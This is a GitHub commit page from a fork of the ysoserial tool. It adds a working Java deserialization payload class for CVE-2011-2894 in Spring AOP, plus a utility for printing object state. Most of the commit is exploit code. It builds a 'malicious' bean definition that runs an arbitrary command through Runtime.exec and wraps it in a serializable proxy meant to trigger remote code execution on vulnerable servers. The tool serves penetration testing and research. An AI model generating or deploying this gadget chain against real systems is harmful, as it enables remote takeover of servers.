This repository has been archived by the owner on Nov 13, 2019. It is now read-only.
forked from frohoff/ysoserial
-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add the payload for CVE-2011-2894 (Spring AOP)
+ some utility to display the state of a Java object before and after serialisation
- Loading branch information
Showing
7 changed files
with
271 additions
and
23 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -3,3 +3,5 @@ | |
.project | ||
.settings/ | ||
pwntest | ||
.idea/ | ||
*.iml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
package ysoserial.payloads; | ||
|
||
import org.springframework.beans.factory.support.DefaultListableBeanFactory; | ||
import org.springframework.beans.factory.support.GenericBeanDefinition; | ||
import org.springframework.aop.target.SimpleBeanTargetSource; | ||
import org.springframework.aop.framework.AdvisedSupport; | ||
import org.springframework.aop.framework.DefaultAopProxyFactory; | ||
|
||
import java.io.NotSerializableException; | ||
import java.lang.reflect.InvocationHandler; | ||
import java.lang.reflect.Proxy; | ||
|
||
import org.springframework.beans.factory.config.BeanDefinition; | ||
|
||
import java.util.Collections; | ||
|
||
import org.springframework.beans.factory.config.MethodInvokingFactoryBean; | ||
|
||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.util.PrintUtil; | ||
import ysoserial.payloads.util.PayloadRunner; | ||
|
||
import javassist.*; | ||
import ysoserial.payloads.util.Reflections; | ||
|
||
import java.util.List; | ||
|
||
/** | ||
* This is a gadget that work on an older version of Spring (compare to Spring1 gadget). | ||
* | ||
* The gadget was created Alvaro Muñoz (@pwntester) (CVE-2011-2894) | ||
* | ||
* http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/ | ||
*/ | ||
@SuppressWarnings({"restriction", "rawtypes"}) | ||
@Dependencies({"org.springframework:spring-core:3.0.5.RELEASE","org.springframework:spring-beans:3.0.5.RELEASE","org.springframework:spring-aop:3.0.5.RELEASE"}) | ||
public class SpringAop extends PayloadRunner implements ObjectPayload<Object> { | ||
|
||
private static boolean DEBUG = false; | ||
|
||
public Object getObject(final String command) throws Exception { | ||
if(DEBUG) System.out.println("[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method"); | ||
|
||
Object instrumentedFactory = null; | ||
ClassPool pool = ClassPool.getDefault(); | ||
try { | ||
pool.appendClassPath(new LoaderClassPath(BeanDefinition.class.getClassLoader())); | ||
CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory"); | ||
// Call setSerialVersionUID before modifying a class to maintain serialization compatability. | ||
SerialVersionUID.setSerialVersionUID(instrumentedClass); | ||
CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace"); | ||
//method.insertBefore("{ System.out.println(\"TESTING\"); }"); | ||
method.setName("writeReplaceDisabled"); | ||
Class instrumentedFactoryClass = instrumentedClass.toClass(); | ||
instrumentedFactory = instrumentedFactoryClass.newInstance(); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
// Modified BeanFactory | ||
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory; | ||
|
||
// Create malicious bean definition programatically | ||
if(DEBUG) System.out.println("[+] Creating malicious bean definition programatically"); | ||
|
||
// First we will set up a bean created with a factory method (instead of using the constructor) that will return a java.lang.Runtime | ||
// Runtime or ProcessBuilder are not serializable so we cannot use them for the MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps | ||
// these objects as the server will instantiate them | ||
GenericBeanDefinition runtime = new GenericBeanDefinition(); | ||
runtime.setBeanClass(Runtime.class); | ||
runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static | ||
|
||
// Exploit bean to be registered in the bean factory as the target source | ||
GenericBeanDefinition payload = new GenericBeanDefinition(); | ||
// use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments, | ||
// and can't do that with the unserializable ConstructorArgumentValues | ||
payload.setBeanClass(MethodInvokingFactoryBean.class); | ||
payload.setScope("prototype"); | ||
payload.getPropertyValues() | ||
.add("targetObject", runtime) | ||
.add("targetMethod", "exec") | ||
.add("arguments", Collections.singletonList(command)); | ||
|
||
beanFactory.registerBeanDefinition("exploit", payload); | ||
|
||
|
||
// Preparing BeanFactory to be serialized | ||
if(DEBUG) System.out.println("[+] Preparing BeanFactory to be serialized"); | ||
|
||
if(DEBUG) System.out.println("[+] Nullifying non-serializable members"); | ||
Reflections.setFieldValue(payload, "constructorArgumentValues", null); | ||
|
||
if(DEBUG) System.out.println("[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues()); | ||
Reflections.setFieldValue(payload, "methodOverrides", null); | ||
|
||
if(DEBUG) System.out.println("[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides()); | ||
Reflections.setFieldValue(runtime, "constructorArgumentValues", null); | ||
|
||
if(DEBUG) System.out.println("[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues()); | ||
Reflections.setFieldValue(runtime, "methodOverrides", null); | ||
|
||
if(DEBUG) System.out.println("[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides()); | ||
|
||
Reflections.setFieldValue(beanFactory, "autowireCandidateResolver", null); | ||
|
||
if(DEBUG) System.out.println("[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver()); | ||
|
||
|
||
// AbstractBeanFactoryBasedTargetSource | ||
if(DEBUG) System.out.println("[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory"); | ||
SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource(); | ||
targetSource.setTargetBeanName("exploit"); | ||
targetSource.setBeanFactory(beanFactory); | ||
|
||
// JdkDynamicAopProxy (InvocationHandler) | ||
System.out.println("[+] Creating the handler and configuring the target source pointing to our malicious bean factory"); | ||
AdvisedSupport config = new AdvisedSupport(); | ||
config.addInterface(List.class); // So that the factory returns a JDK dynamic proxy | ||
config.setTargetSource(targetSource); | ||
DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory(); | ||
InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config); | ||
|
||
// Proxy | ||
System.out.println("[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler"); | ||
List proxy = (List) Proxy.newProxyInstance(getClass().getClassLoader(), new Class<?>[] { List.class }, handler); | ||
|
||
PrintUtil.printObject(proxy); | ||
return proxy; | ||
} | ||
|
||
/** | ||
* The deserialization will failed on this project. But a remote server with Spring version < 3.0.5 should execute | ||
* successfully the payload. | ||
* @param args | ||
* @throws Exception | ||
*/ | ||
public static void main(final String[] args) throws Exception { | ||
|
||
try { | ||
PayloadRunner.run(SpringAop.class, args); | ||
} | ||
catch (NotSerializableException e) { | ||
System.err.println("Unable to generate the payload."); | ||
System.err.println("/!\\ The spring version must be set to 3.0.5.RELEASE to generate this payload."); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,86 @@ | ||
package ysoserial.payloads.util; | ||
|
||
import java.io.Serializable; | ||
import java.lang.reflect.Array; | ||
import java.lang.reflect.Field; | ||
import java.lang.reflect.Method; | ||
import java.lang.reflect.Modifier; | ||
import java.util.ArrayList; | ||
import java.util.List; | ||
|
||
public class PrintUtil { | ||
|
||
/** | ||
* Print the state of a given object. | ||
* @param obj | ||
* @throws IllegalAccessException | ||
*/ | ||
public static void printObject(Object obj) throws IllegalAccessException { | ||
System.out.println("==="); | ||
printObject(obj,0); | ||
System.out.println("==="); | ||
} | ||
|
||
private static void printObject(Object obj, int indent) throws IllegalAccessException { | ||
if(indent > 10) { | ||
System.out.println(repeat("\t",indent)+" !! Potential recursive reference"); | ||
return; | ||
} | ||
if(obj instanceof Number || obj instanceof String || obj instanceof Boolean || obj instanceof Class) { | ||
return; | ||
} | ||
|
||
if(obj instanceof Serializable) { | ||
//System.out.println(StringUtils.repeat("\t",indent)+"[[Array "+obj.getClass()+"]]"); | ||
if(obj.getClass().isArray()) { | ||
int length = Array.getLength(obj); | ||
if(length == 0) { | ||
System.out.println(repeat("\t",indent)+" Empty array"); | ||
} | ||
for (int i = 0; i < length; i ++) { | ||
Object arrayElement = Array.get(obj, i); | ||
System.out.println(repeat("\t",indent)+" ["+i+"] "+arrayElement); | ||
printObject(arrayElement, indent + 1); | ||
} | ||
} | ||
else { | ||
System.out.println(repeat("\t",indent)+"{{"+obj.getClass()+"}}"); | ||
for (Field field : getAllFields(obj.getClass())) { | ||
if (!Modifier.isStatic(field.getModifiers())) { | ||
field.setAccessible(true); | ||
System.out.println(repeat("\t", indent) + " - " + field.getName() + " (" + field.getType().getSimpleName() + ") = " + field.get(obj)); | ||
printObject(field.get(obj), indent + 1); | ||
} | ||
|
||
} | ||
} | ||
} | ||
} | ||
|
||
/** | ||
* Get fields including the fields from the subclass. | ||
* @param clazz | ||
* @return | ||
*/ | ||
private static List<Field> getAllFields(Class clazz) { | ||
List<Field> allFields = new ArrayList<Field>(); | ||
|
||
Class topClazz = clazz; | ||
while (topClazz != null) { | ||
for (Field f : topClazz.getDeclaredFields()) { | ||
allFields.add(f); | ||
} | ||
topClazz = topClazz.getSuperclass(); | ||
} | ||
|
||
return allFields; | ||
} | ||
|
||
public static String repeat(String str, int repeat) { | ||
StringBuffer buf = new StringBuffer(str.length() * repeat); | ||
for (int i = 0; i < repeat; i++) { | ||
buf.append(str); | ||
} | ||
return buf.toString(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters